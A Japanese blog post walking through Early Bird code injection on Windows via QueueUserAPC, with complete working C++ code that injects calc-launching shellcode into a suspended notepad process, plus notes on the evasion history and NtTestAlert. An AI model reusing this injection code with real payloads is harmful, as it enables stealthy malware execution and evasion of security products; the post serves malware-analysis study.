QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる
QueueUserAPCによるEarly Bird Injectionをやってみる。
APCを使ったcode injection手法はEarly Bird Injectionと呼ばれることがある。これはターゲットプロセスのプロセス作成ルーチンの早い段階、すなわちメインスレッドが開始される前に、攻撃者が悪意あるコードを挿入、実行できることから来ている。このテクニックが公開された当初は、この仕組みによりマルウェア対策製品で使用されるWindowsフックエンジンによる検出を回避できる可能性があった。
APCとは
Windowsは非同期プロシージャ呼び出し(APC, Asynchronous Procedure Call)を実装している。 APCはAPCオブジェクトと呼ばれるカーネル制御オブジェクトによって表される。実行待ちのAPCはカーネルが管理するAPCキューに追加される。 システム共有のDPCキューと異なり、APCキューはスレッドごとに用意、管理される。 APCを使うことで、ユーザーは特定のスレッドのコンテキストで非同期的にコードを実行できる。
コールバック関数として設定された関数は、スレッドがアラート可能状態になると、先入れ先出しの順序で実行される。実行中の全てのスレッドには独自のAPCキューがあり、WinAPIのQueueUserAPC関数にてこのキューにコールバック関数を追加できる。
Early Bird Injectionの概要
Early Bird InjectionではこのAPCを悪用する、特定のプロセスのアドレス空間に悪意あるコードをAPCキューとして配置する。 APCが呼び出されると悪意あるコードがターゲットプロセス内のスレッドで実行される。
以降では、悪意あるシェルコードに見立てた電卓を起動するシェルコードを使い、本手法を再現してみる。
電卓を起動するシェルコードはももいろテクノロジーさんからお借りする。
コード
以下がEarly Bird Injectionを実装したコードとなる。
#include <Windows.h> #include<stdio.h> int main() { printf("Start APC queue code injection\n"); // 64bit calc.exe unsigned char buf[] = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF"; SIZE_T shellSize = sizeof(buf); LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA(); LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION(); CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, 0, CREATE_SUSPENDED, 0, 0, pStartupInfo, pProcessInfo); printf("Create target process\n"); LPVOID shellAddress = VirtualAllocEx(pProcessInfo->hProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; printf("Allocate memory in target process\n"); WriteProcessMemory(pProcessInfo->hProcess, shellAddress, buf, shellSize, NULL); printf("Write shellcode to the allocated memory\n"); QueueUserAPC((PAPCFUNC)apcRoutine, pProcessInfo->hThread, NULL); ResumeThread(pProcessInfo->hThread); printf("Adds a APC object to the APC queue of the target proess's thread.\n"); printf("Complete!\n"); return 0; }
手順は次の通り。
- CREATE_SUSPENDフラグを付与してターゲットとなるプロセスを新規作成。
- ターゲットプロセスにメモリを割り当て、シェルコードを書き込む。
- APCをターゲットプロセスのメインスレッドにキューイング。
- ターゲットプロセスの再開。
デモ
実際にこのコードをコンパイルし実行すると、確かにシェルコードが実行され電卓が起動する。
VirtualAllocExによるメモリが確保されている様子。
WriteProcessMemoryでシェルコードがターゲットプロセス内に書き込まれている様子。
ResumeThreadによりターゲットプロセスが再開され電卓が起動している様子である。
おわりに
今回はQueueUserAPCによるEarly Bird Injectionをやってみた。
複数のプロセスをまたぐマルウェアの解析は厄介だ。 特に今回のようなプロセスがサスペンド状態で作成された場合、プロセス作成ルーチンが終了しておらず、CreateProcessA関数が実行された時点ではデバッガでそのプロセスへアタッチできない。 またプロセスが再開された瞬間にAPCが実行、プロセスが終了するため手動でアタッチすることは困難だ。 これを適切に解析するにはまた別のテクニックが必要となる。 適宜コードを調整するなどして解析の練習などに使用してもらえれば幸いだ。
追記
NtTestAlert関数を使用すれば即座にAPCキューをディスパッチし、コードを実行させることができる。 NtTestAlert関数はAPCキューが空でない場合にKiUserApcDispatcher関数を呼び出す。 KiUserApcDispatcher関数はAPCキューを処理するためにWindowsカーネルによって使用される関数である。KiUserApcDispatcher関数が呼び出されるとAPCキューに配置されたコードを指定されたコンテクストで実行する。